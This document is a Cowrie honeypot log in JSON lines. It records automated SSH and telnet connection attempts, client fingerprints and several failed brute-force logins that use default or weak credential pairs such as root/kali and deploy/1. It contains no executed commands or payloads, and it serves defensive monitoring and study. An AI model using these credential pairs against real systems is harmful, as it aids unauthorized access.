{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:51.729182Z","src_ip":"176.65.132.129","session":"fd9e8ecfc277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:51.981904Z","src_ip":"176.65.132.129","session":"fd9e8ecfc277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ttest","password":"password","message":"login attempt [ttest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:52.048514Z","src_ip":"167.172.73.9","session":"6f5343522a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:53.067024Z","src_ip":"176.65.132.129","session":"fd9e8ecfc277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:53.296315Z","src_ip":"167.172.73.9","session":"6f5343522a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":60976,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8c20d575235","protocol":"ssh","message":"New connection: 57.128.222.14:60976 (159.203.135.109:22) [session: b8c20d575235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:54.100855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:54.106854Z","src_ip":"57.128.222.14","session":"b8c20d575235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:54.217275Z","src_ip":"57.128.222.14","session":"b8c20d575235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123$%^","message":"login attempt [root/Test123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:54.689802Z","src_ip":"57.128.222.14","session":"b8c20d575235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36522,"dst_ip":"10.17.0.5","dst_port":22,"session":"137460db4796","protocol":"ssh","message":"New connection: 176.65.132.129:36522 (10.17.0.5:22) [session: 137460db4796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:54.991563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:54.997473Z","src_ip":"176.65.132.129","session":"137460db4796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.15964221954346,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:55.046405Z","src_ip":"38.60.198.128","session":"f6b85ebb009a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:55.078745Z","src_ip":"176.65.132.129","session":"137460db4796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:55.325066Z","src_ip":"176.65.132.129","session":"137460db4796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:55.803006Z","src_ip":"57.128.222.14","session":"b8c20d575235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53824,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2b2c83ce52","protocol":"telnet","message":"New connection: 38.60.198.128:53824 (159.203.135.109:23) [session: 7f2b2c83ce52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:55.954416Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:56.409227Z","src_ip":"176.65.132.129","session":"137460db4796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51796,"dst_ip":"10.17.0.5","dst_port":22,"session":"9482521507b9","protocol":"ssh","message":"New connection: 176.65.132.129:51796 (10.17.0.5:22) [session: 9482521507b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:58.487484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:58.524493Z","src_ip":"176.65.132.129","session":"9482521507b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:58.570195Z","src_ip":"176.65.132.129","session":"9482521507b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:58.887414Z","src_ip":"176.65.132.129","session":"9482521507b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:59.972455Z","src_ip":"176.65.132.129","session":"9482521507b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51808,"dst_ip":"10.17.0.5","dst_port":22,"session":"78a8b39561cf","protocol":"ssh","message":"New connection: 176.65.132.129:51808 (10.17.0.5:22) [session: 78a8b39561cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:01.816752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:01.825124Z","src_ip":"176.65.132.129","session":"78a8b39561cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:01.907272Z","src_ip":"176.65.132.129","session":"78a8b39561cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed318bd81bba","protocol":"telnet","message":"New connection: 45.81.23.16:60474 (10.17.0.5:23) [session: ed318bd81bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:01.936673Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:02.154450Z","src_ip":"176.65.132.129","session":"78a8b39561cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60486,"dst_ip":"10.17.0.5","dst_port":23,"session":"4765673a9341","protocol":"telnet","message":"New connection: 45.81.23.16:60486 (10.17.0.5:23) [session: 4765673a9341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:02.393756Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60488,"dst_ip":"10.17.0.5","dst_port":23,"session":"35519b64a4f8","protocol":"telnet","message":"New connection: 45.81.23.16:60488 (10.17.0.5:23) [session: 35519b64a4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:02.787350Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f31355b9ce45","protocol":"telnet","message":"New connection: 38.60.198.128:34512 (159.203.135.109:23) [session: f31355b9ce45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:02.997471Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60492,"dst_ip":"10.17.0.5","dst_port":23,"session":"11edd180a60e","protocol":"telnet","message":"New connection: 45.81.23.16:60492 (10.17.0.5:23) [session: 11edd180a60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:03.049897Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60496,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c66ec6f98b","protocol":"telnet","message":"New connection: 45.81.23.16:60496 (10.17.0.5:23) [session: e1c66ec6f98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:03.313798Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:03.426341Z","src_ip":"176.65.132.129","session":"78a8b39561cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35836,"dst_ip":"159.203.135.109","dst_port":23,"session":"8417d993dadf","protocol":"telnet","message":"New connection: 38.60.198.128:35836 (159.203.135.109:23) [session: 8417d993dadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:04.253818Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51820,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb2e87b29f83","protocol":"ssh","message":"New connection: 176.65.132.129:51820 (10.17.0.5:22) [session: bb2e87b29f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:05.180736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:05.186332Z","src_ip":"176.65.132.129","session":"bb2e87b29f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:05.269355Z","src_ip":"176.65.132.129","session":"bb2e87b29f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:05.518444Z","src_ip":"176.65.132.129","session":"bb2e87b29f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:06.603683Z","src_ip":"176.65.132.129","session":"bb2e87b29f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.699390649795532,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:07.486601Z","src_ip":"45.81.23.16","session":"35519b64a4f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34360,"dst_ip":"10.17.0.5","dst_port":22,"session":"c06189f81f0e","protocol":"ssh","message":"New connection: 176.65.132.129:34360 (10.17.0.5:22) [session: c06189f81f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:08.680463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:08.699235Z","src_ip":"176.65.132.129","session":"c06189f81f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:08.785116Z","src_ip":"176.65.132.129","session":"c06189f81f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:09.031738Z","src_ip":"176.65.132.129","session":"c06189f81f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.80464267730713,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:09.694355Z","src_ip":"174.138.46.234","session":"d2a8781dff1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:10.115964Z","src_ip":"176.65.132.129","session":"c06189f81f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44882,"dst_ip":"159.203.135.109","dst_port":23,"session":"6584908da46f","protocol":"telnet","message":"New connection: 38.60.198.128:44882 (159.203.135.109:23) [session: 6584908da46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:11.531784Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34372,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae47132258a","protocol":"ssh","message":"New connection: 176.65.132.129:34372 (10.17.0.5:22) [session: 2ae47132258a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:12.072789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:43:12.078134Z","src_ip":"176.65.132.129","session":"2ae47132258a","protocol":"ssh"}
